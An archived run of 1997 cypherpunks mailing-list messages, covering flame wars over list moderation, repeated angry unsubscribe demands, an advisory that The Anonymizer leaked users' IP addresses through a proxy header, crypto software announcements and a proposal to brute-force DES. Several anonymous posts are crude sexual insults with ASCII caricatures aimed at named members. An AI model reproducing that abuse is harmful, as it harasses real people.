freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Sun Feb 9 17:44:04 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:44:04 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100143.RAA16717@m1.sprynet.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Sun Feb 9 17:44:09 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:44:09 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100143.RAA16749@m1.sprynet.com> You're going to have to find a way to make this junk, piss juvenile crap stop coming into my e-mail box. Period. ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Sun Feb 9 17:44:18 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:44:18 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100144.RAA16772@m1.sprynet.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Sun Feb 9 17:46:20 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:46:20 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100146.RAA17220@m1.sprynet.com> You're giong to have to find a way to get me off of your piss-ant mailing list. ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Sun Feb 9 17:47:23 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:47:23 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100147.RAA17442@m1.sprynet.com> You're going to have to fine a way to get me off of your piss-ant mailing list. ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Sun Feb 9 17:48:12 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:48:12 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100147.RAA17595@m1.sprynet.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Sun Feb 9 17:48:23 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:48:23 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100148.RAA17625@m1.sprynet.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Sun Feb 9 17:48:34 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:48:34 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100148.RAA17712@m1.sprynet.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From ravage at einstein.ssz.com Sun Feb 9 18:22:14 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Sun, 9 Feb 1997 18:22:14 -0800 (PST) Subject: Feb. 15 Meeting (fwd) Message-ID: <199702100227.UAA04517@einstein> Forwarded message: >From owner-austin-cpunks at ssz.com Sun Feb 9 20:24:11 1997 From: Jim Choate Message-Id: <199702100223.UAA04426 at einstein> Subject: Feb. 15 Meeting To: austin-cpunks at einstein.ssz.com (Austin Cypherpunks) Date: Sun, 9 Feb 1997 20:23:43 -0600 (CST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 865 Sender: owner-austin-cpunks at einstein.ssz.com Precedence: bulk Reply-To: austin-cpunks at einstein.ssz.com Hi, Just a reminder that next Saturday, Feb. 15, 1997, is the next date set for a Austin Cypherpunks meeting. It is to be held at the Central Market HEB restaurant starting at 6pm. Look for the table with the 2nd. ed. (red cover) Applied Cryptography. The meeting is open to the public so remember to tell folks about it. On another issue, I and another Austin Cypherpunk have decided to start a distributed cypherpunks list. It would consist of some number of majordomo remailers, possibly with anonymous extensions, running customer scripts to allow membership on the mailing list to be distributed and hence (hopefuly) uncencorable. This will eventualy involve the re-birth of the anonymous remailer (kourier.ssz.com) project. Jim Choate ravage at ssz.com From nobody at huge.cajones.com Sun Feb 9 18:40:16 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 9 Feb 1997 18:40:16 -0800 (PST) Subject: None Message-ID: <199702100240.SAA11256@mailmasher.com> Timothy `C' May's obsessive masturbation has lead to advanced degree of blindness and hairy palms. o-:^>___? Timothy `C' May `~~c--^c' From dlv at bwalk.dm.com Sun Feb 9 18:41:56 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 9 Feb 1997 18:41:56 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation In-Reply-To: <199702100143.RAA16749@m1.sprynet.com> Message-ID: "Jerry Basham" writes: > You're going to have to find a way to make this junk, piss juvenile crap > stop coming into my e-mail box. Period. I don't think this guy is for real... No one's that stupid. Must be another Gilmore tentacle. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Sun Feb 9 20:00:17 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 9 Feb 1997 20:00:17 -0800 (PST) Subject: ANON: anonymizer.com thru proxy server is bad news In-Reply-To: <199702092015.PAA30654@yakko.cs.wmich.edu> Message-ID: Damaged Justice writes: > > >From: jmccorm at galstar.com (Josh McCormick) > Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.brow > Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com" > Date: 9 Feb 1997 19:25:46 GMT > Lines: 43 > Message-ID: <5dl8bq$6h3 at mercury.galstar.com> > > THE CLAIM: > > Our "anonymizer" service allows you to surf the web without > > revealing any personal information. > > THE PROBLEM: > > If you access The Anonymizer through a proxy server, it may add a > > variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter > > out, revealing your true identity. > > THE DATA: > > Below is a printout of the variables from an "anonymous" session done > > through The Anonymizer when accessed through the Squid proxy server. > > REMOTE_HOST=darkmatter.infonex.com > REMOTE_ADDR=206.170.114.24 > HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!) > HTTP_HOST=sol.infonex.com:8080 > HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251. > HTTP_PRAGMA=no-cache > HTTP_PROXY_CONNECTION=Keep-Alive > > THE RESULT: > > A CGI script could see that you were using The Anonymizer to hide > > yourself, but your true IP address is revealed in the "HTTP_FORWARDED" > > string. > > THE SUMMARY: > > Beware using an anonymous browsing service if you are going through a > > proxy server. Until they remove the information provided by proxy > > servers, using their service isn't as anonymous as they say. > > THE QUOTE: > > (from The Anonymizer home page) "Many people surf the web under the > > illusion that their actions are private and anonymous. Unfortunately, it > > isn't so." > > ===================================================================== > == Josh McCormick Galaxy Star Systems == > == jmccorm at galstar.com Providing Quality Internet Access == > == Systems Administrator WWW: http://www.galstar.com/~jmccorm == > ===================================================================== > > -- > http://yakko.cs.wmich.edu/~frogfarm/ ...for the best in unapproved informati > "Would I had phrases that are not known, utterances that are strange, in new > language that has not been used, free from repetition, not an utterance whic > has grown stale, which men of old have spoken." - inscribed on Egyptian tom Isn't this "anonymizer" run by Sameer Parekh and his C2Net? It figures... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From nobody at huge.cajones.com Sun Feb 9 20:06:48 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 9 Feb 1997 20:06:48 -0800 (PST) Subject: [CRYPTO RELEVANT] Hardening mailing lists against spam attacks Message-ID: <199702100406.UAA27227@mailmasher.com> Degenerate L[oad] Vomit is the living proof that anal sex causes pregnancy. )_( [@ @] Degenerate L[oad] Vomit |/ \| \O/ From roach_s at alph.swosu.edu Sun Feb 9 20:10:46 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Sun, 9 Feb 1997 20:10:46 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702100410.UAA17163@toad.com> At 08:36 AM 2/7/97 -0800, Mike Duvos wrote: ... >Now that a few weeks have passed, I have decided that moderation delays >are the most annoying feature of the new experiment. I am subscribed to >the unedited list under another account, and its almost instantaneous >traffic is in great contrast to the time required for posts to trickle >through the Sandfort-Bot. ... >Messages apparently do not get moderated in the order in which they >are received. Some messages take a very long time, as other later >messages pass them by and are posted to the list. Again, I have no >explanation for this unusual behavior. Actually, I noticed that often times the posts were out of order when they got to me over about two months ago. This was probably due to my location on the mailing list heirachy, (another reason for a distributed list). I also remember there being a rather lengthy delay between my posting something to the list and it getting sent to me by toad. (I stayed at the computer reading other messages, erasing them and checking if any more had been sent. This was, is, my primary way of keeping my eudora disk from getting clogged to the point where it won't compress.) The problems that you describe aren't new to the list, mostly they are the product of a long list of subscribers. Although, manual moderation certainly adds time between posting and turnaround. From nobody at huge.cajones.com Sun Feb 9 21:31:56 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 9 Feb 1997 21:31:56 -0800 (PST) Subject: Black English Message-ID: <199702100531.VAA10184@mailmasher.com> In a jerk-off competition Dr.Dopehead Vitriolic K[arcass]OfTheMonth finishes second, third and fifth. D\___/\ (0_o) Dr.Dopehead Vitriolic K[arcass]OfTheMonth (V) ---oOo--U--oOo--- From richieb at teleport.com Sun Feb 9 21:48:12 1997 From: richieb at teleport.com (Rich Burroughs) Date: Sun, 9 Feb 1997 21:48:12 -0800 (PST) Subject: Ann: Encrypted disks for Windows NT (fwd) Message-ID: Anyone seen this here? I wasn't sure if it had been posted, so I thought I'd pass it on. I have not looked at the software yet... Rich ---------- Forwarded message ---------- Date: Mon, 10 Feb 1997 03:18:03 +0200 (IST) From: softwinter at post1.com To: richieb at teleport.com Subject: Ann: Encrypted disks for Windows NT Soft Winter Corporation, February 10, 1997 released: Shade - strong encryption software for Windows NT. Shade allows you to create encrypted disk device inside a file. Such a device can then be formatted using any file system (like NTFS or FAT) and used as a regular disk. The only difference is that Shade will encrypt the data on every write operation and decrypt it on every read operation. To download go to: http://softwinter.bitbucket.co.il Soft Winter Corporation, softwinter at post1.com From janke at unixg.ubc.ca Sun Feb 9 22:49:53 1997 From: janke at unixg.ubc.ca (janke at unixg.ubc.ca) Date: Sun, 9 Feb 1997 22:49:53 -0800 (PST) Subject: LInteger Version 0.2: A C++ MPILIB Message-ID: <199702100646.WAA02464@clouds.heaven.org> -----BEGIN PGP SIGNED MESSAGE----- LInteger is a set of C++ libraries supporting multiple precision integers. Also included are libraries supporting chain hash functions and pseudo-random number generators. The core multiple precision methods are coded in i386+ assembly language for high speed. The libraries will only compile under GNU's g++ compiler, and have only been tested under the Linux and Windows NT operating systems. It is anticipated that there should not be any problems compiling under Windows '95, however, and that compiling for OS/2 will only require minor hacking, if any. Included as a sample chain hash function is an i386+ assembly implementation of the Secure Hash Algorithm (FIPS 180-1). Included as a sample pseudo-random number generator is an implementation of a pseudo-random number generator described in Section 3.1 of FIPS 186 (the Digital Signature Standard). Complete HTML documentation is provided for all public and protected methods. The package is free for both commercial and non-commercial use. Some of the improvements of this release over version 0.1 include: - Pseudo-random number generation. - Probable prime generation. - Easier constructors. - MontyRep and ResidueClass classes. - ASCII I/O in bases 1 to 36. - Overloading of fstreams operators for storage on persistent media. - Easier exponentiation. - Pentium optimizations for multiplication and squaring. - A square root function (by special request). - 8+3 filenames (by special request). - Various bug fixes and speed improvements (and some slowdowns! :) ) The package is available for download at http://www.interchg.ubc.ca/janke/linteger.html The hashes for version 0.2 are MD5: 61f027957065b88a690def3557956d34 RIPE-MD128: a0e85d5f3429f074b4a4dd4303f829e0 SHA0: b8e65d49ae0ae3ab26741030c8ca03137e16b493 SHA1: c46317ad7e3a9ff38092269b21513dbf68c0e3ef RIPE-MD160: 2ef0f020d1312033af6e6f4aa72466878ef3abe1 -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBMv65lDjQF257xHLhAQG+TwQAhLaBP6z3nLKbBKcmSomPPE9G+r1z/tpD 5rA1p9ImwjJZnLAARiywdzH0bXS2n4Yf6jfPOUBZ0FMonNXLfkRJcXIgf0c16+mQ GeX2YYYxRQ+BWcUpzgZBe9y1Y7BJ/I4f0Qbu7jWHn6sOdv+qejxS6+Wos/6vVDoF 3LOfYCyG8Xs= =jnym -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Sun Feb 9 23:47:21 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 9 Feb 1997 23:47:21 -0800 (PST) Subject: Who's ahead: NSA or the private sector? In-Reply-To: <5dh48p$clc@tor-nn1-hb0.netcom.ca> Message-ID: <32FED23D.2641@ix.netcom.com> That's not really a meaningful question. We can write codes they can't crack. They can write codes we can't crack. The cats are out of the bag, and David Aaron can't herd them back in. In some sense, the NSA is ahead of academia, because academia publishes, so they can read everything the Good Guys have done (less six months waiting to get published in journals :-), while the NSA seldom publishes. (There are also corporations doing non-published crypto work, but not much - they also see the value of open system review. And the KGB may have been good as well, but they're not in our face, and we can write codes the Russians and French can't crack either.) The NSA has almost certainly done more work on analyzing obscure Russian cryptosystems, but who knows how much of that is just brute force. But the real problems these days are engineering, not science*, so it's probably worth spotting them a few bits of keyspace just in case. The NSA is better able to come up with a few million dollars to build custom key-cracking hardware than industry is, so we have to presume they can do at least as well as a Wiener machine for cracking DES; they're certainly better at eavesdropping on calls than we are. I don't know if we can coordinate more workstations for a distributed crack, but they _could_ issue the FedCast Secure Screen Saver for all federal PCs; the only question is how much time would it spend cracking keys and how much grepping for suspicious files :-) There may still be radical changes in factoring technology, especially as computers get faster, but I doubt they'll do more in practice than force us to use longer keys, unless someone proves P=NP in the far mythical future or proves that factoring is in or near P. The interesting questions are at the boundaries of strong crypto and weak crypto - 40 bits is a nasty joke, DES is still interesting for things that don't have too much money riding on them, Skipjack is probably strong enough for a few years unless there's a second back door next to the one with the big "Cops Only" neon sign. How strong can we make something and still get export permission? Do we care? What are the threat models for different "Key Recovery" scams, and are we willing to write deliberatlely weak code to collaborate? Are the non-RSA public key systems good enough until the patent expires? There are some boundary problems that are interesting for non-political reasons - now that every toaster and digital wristwatch has an IP address and a few KB of RAM, what kind of useful crypto will fit in them? Key distribution is still interesting - how do you make a system that's convenient enough to use and secure enough to work? And distributed cracking systems are interesting, though the main uses for them are for cracking known-weak cryptosystems. Then there's the field of secure databases, which I think has both practical potential and scientific merit - how do you mix data together without leaking the secure stuff to unauthorized users, either directly or through combining lots of non-privileged data. [*Borrowing from Matt Blaze gratefully acknowledged.] From janke at unixg.ubc.ca Sun Feb 9 23:47:56 1997 From: janke at unixg.ubc.ca (janke at unixg.ubc.ca) Date: Sun, 9 Feb 1997 23:47:56 -0800 (PST) Subject: LInteger Version 0.2: A C++ MPILIB In-Reply-To: <199702100646.WAA02464@clouds.heaven.org> Message-ID: Ooopsy... Please be remove victor.volkman at hal9k.com from the CC: or To: lines in any follow-ups to this article. Leonard From dthorn at gte.net Sun Feb 9 23:50:29 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 9 Feb 1997 23:50:29 -0800 (PST) Subject: Who's Censoring Who? In-Reply-To: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com> Message-ID: <32FED2DA.2C24@gte.net> John Young wrote: > Sandy's e-mailed several of us who've sent messages about Vulis's > ploy to put Sandy in a conflict-of-interest bind -- a well-known attack > on moderators of all kinds, not just on the net. Now you've admitted that Sandy, ever more desperate, is grasping for allies for some future attack. And you've accused Dr. Vulis of plotting against Sandy. Tsk tsk. > What's worth admiring is how Vulis has adeptly managed to get others > -- targets and witting and unwitting cohorts -- to go along with his attack, > attack, attack, by opposing or supporting it. A useful lesson. This is not the healthy kind of paranoia. > Smart dude, that Vulis, but no more so than others on the Net, say, > Tim May, and in the world who've done the same elsewhere, maybe > by even smarter dude(s) who provoked, angered, insulted, an unwitting > Vulis, or May, to attack on behalf of ... Tim May in the same breath as Dr. Vulis? I underestimated the level of desperation here. > But such deception is to be expected, along with feigned suprise and > outrage at the unfairness of opponents fighting as dirty as one's own > pure-blackhearts. Neither I nor (I'm certain) Dr. Vulis are surprised by any of this. Who were you referring to? > Sandy's not censoring cypherpunks, nor is Vulis or May or any single > person alone. As Pogo said, it's all of us, posters and lurkers and spooks, > each trying to get one's way to prevail, under guise of a high principle not > easily honored when the squeeze is on alone in a dark cell. Come on out > Sandy, it was just a drill. Well, he claims he's not censoring anymore. If you believe that, you're probably waiting for the Easter bunny. > It's probably worth saving accusations of censorship for the real thing, > after trial usage here for what is truly nasty high-stakes global info-war > gaming. Blah blah blah blah. Bottom line is this: "Moderation" is really censorship. You can go on with this "plausible denial" all you want to, but the jig is up, so to speak. They've been caught being sneaky and deceptive with people's mail. Naughty naughty. From SButler at chemson.com Mon Feb 10 01:16:35 1997 From: SButler at chemson.com (Butler, Scott) Date: Mon, 10 Feb 1997 01:16:35 -0800 (PST) Subject: remailer-operators DEA agents? Message-ID: > >Again, I am only on the Flames list. So why was this message sent to the >Flames list? Because someone responded to a Vulis post? Is a response to a >Banned Message now grounds for rejection? > After whinghing about Dimitri and about people sending flames to the list, you only subscribe to the flames-list.... you just don't make sense Timmy. Scott From SButler at chemson.com Mon Feb 10 01:59:01 1997 From: SButler at chemson.com (Butler, Scott) Date: Mon, 10 Feb 1997 01:59:01 -0800 (PST) Subject: MODERATION Message-ID: Sandy writes: > >C'punks, > >I'm ending my participation in the moderation of the list. Well that was short and ..... errr bitter! > It would have been an interesting experiment if list members had >been open minded enough to give it a good faith effort. ^^^^^^^^^^^^^^^ There's a difference between being open minded and gullible Sandy. Nothing like ducking and running away when your little game didn't turn out the way that you wanted it to! This is not a flame, it is my opinion but none the less I'm sure that it will end up in the flames list or be conveniently lost in the masses of mail that John's majordomo receives every day. Scott. > From ig25 at mvmap66.ciw.uni-karlsruhe.de Mon Feb 10 03:26:43 1997 From: ig25 at mvmap66.ciw.uni-karlsruhe.de (Thomas Koenig) Date: Mon, 10 Feb 1997 03:26:43 -0800 (PST) Subject: What's next? Message-ID: <199702101024.LAA08950@mvmap66.ciw.uni-karlsruhe.de> Now that we appear to be at a sustainable 300 MK/sec (which I could hardly believe at first :-), is there any chance we could be attacking the 56-bit DES key next? DES is rumoured to be faster than RC5; also, there are likely to be optimized assembler versions out there already. We could also make better use of 64-bit architectures, since DES uses 64-bit blocks. However (and this is a very big however), that's still a keyspace of 7.2*10^16 keys to search. Assuming 10^9 keys/second (three times our current speed, which may be attainable with a good DES implementation) that's still a bit over two years; too long by a factor of 10 or so. Soo.... How fast are current DES implementations? People could try des.c from the ssh distribution as a starting point. How much more computing power could we bring online? Do people have optimized DES for Alpha, UltraSparc, HP 8000 and all the other nifty 64-bit architectures? Does it make sense to use MMX or equivalent for DES? -- Thomas Koenig, Thomas.Koenig at ciw.uni-karlsruhe.de, ig25 at dkauni2.bitnet. The joy of engineering is to find a straight line on a double logarithmic diagram. From jya at pipeline.com Mon Feb 10 03:58:11 1997 From: jya at pipeline.com (John Young) Date: Mon, 10 Feb 1997 03:58:11 -0800 (PST) Subject: HIC_rim Message-ID: <1.5.4.32.19970210115212.006cdde0@pop.pipeline.com> 2-10-97 NYT has Page One lead on high resolution commercial "spy satellites," and the welter of political, social, economic and national security consequences as foreign governments, corporations and individuals hire them to invade privacy, secret sites and labs. A nearby story reports on organized crime's shift to new industries, especially those reliant on high technology: calling cards, stock offerings and health care. ----- HIC_rim From nobody at REPLAY.COM Mon Feb 10 04:33:02 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 10 Feb 1997 04:33:02 -0800 (PST) Subject: [CRYPTO] Elliptic curves Message-ID: <199702101217.NAA15745@basement.replay.com> Timothy May's father, an idiot, stumbled across Timothy May's mother, an imbecile, when she had no clothes on. Nine months later she had a little moron. /\/\ \ / Timothy May \/ From cuckoo at cuckoo.com Mon Feb 10 04:34:39 1997 From: cuckoo at cuckoo.com (Cuckoo) Date: Mon, 10 Feb 1997 04:34:39 -0800 (PST) Subject: Who's Censoring Who? In-Reply-To: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com> Message-ID: <32FF31A9.2E04@cuckoo.com> John Young wrote: > Sandy's e-mailed several of us who've sent messages about Vulis's > ploy to put Sandy in a conflict-of-interest bind Did Sandy happen to mention how the evil Dr. Vulis managed to twist his impressionable young mind so that his only concern about libel is centered around his employer? Did Sandy mention why his employer went nuclear over the mention of the 'b-d' word by an individual whom his employees on the list regularly label as a troublemaker and a nut case? (Methinks they doth protest _too_ much?) Did Sandy mention that his employer is in the postion of owning the cypherpunks.com domain-name and is in a great postion to profit by controlling and/or destroying the cypherpunks list? Did Sandy mention that when his own takeover of the list (by virtue of 'moving' the subscribers into a list filtered by himself) faltered, by becoming an open joke, that one of his fellow employees called for the "killing" of the list? Did Sandy mention that the pecker-tracks of his employers minions leave a sordid trail across the whole face of this whole censorship farce? Gee, John, I wish that I had crypto software to sell, and employees who were in control of the reputation capital of the cypherpunks list. I wish that I had a domain named cypherpunks.com waiting to capitalize on the cypherpunks name to sell my crypto software. Of course, some asshole somewhere might regard this as a "ploy" to profit from creating misfortune for the cypherpunks. They might even think that I had a hand in that misfortune. > It's probably worth saving accusations of censorship for the real > thing What fucking planet have you been living on, shit-for-brains? We're not talking about "accusations," here. We're talking about posts by average list subscribers who are coming forward and speaking out about the facts surrounding the misappropriation of their posts in order to further the private interests of Sandy. We're talking about the suppression of postings which Question Authority. We're talking about shit-canning postings without informing the list, because the actions are reprehensible. We're talking about censorship which, in the censor's own words, is not based on crypto-relevancy, but a changing morass of ill-defined 'Sandy rules' (or 'Sandy Rules!', if you prefer). We're talking about robotic censorship where those who do not bend under the jackboots suppressing free speech on the cypherpunks list are auto-botted to cypherpunks-dontsaybadthingsaboutmyemployer. Your posts are usually fairly intelligent, so I have no idea why you are wasting your own reputation capital attempting to defend an inept, lame-duck censor who is too cowardly to defend his own vile actions. Instead, he declares that he has absolutely no interest in filtering out the "Make Money Fast" and "Penis-Picture" garbage for list members if he can't use his usurped-power to slam the jackboots down on any niggling detail that doesn't serve his own private interests. Cuckoo (<-- Dr. Vulis 'made' me use this name.) From peter.allan at aeat.co.uk Mon Feb 10 04:55:06 1997 From: peter.allan at aeat.co.uk (Peter M Allan) Date: Mon, 10 Feb 1997 04:55:06 -0800 (PST) Subject: Codebreakers delivered OK Message-ID: <9702101255.AA21355@clare.risley.aeat.co.uk> Gary, Thanks for the book, which arrived safely (last week, when I was on leave and tiling my bathroom). Cypherpunks, In mid-December I asked on this list whether people would recommend buying books from Gary Rasmussen. Message-Id: <9612131954.AA28856 at clare.risley.aeat.co.uk> Subject: Would you send money to Gary Rasmussen ? I got several replies for, and none against. Thanks to those who replied. I am now pleased to add my data point. He has sent my copy of Kahn's 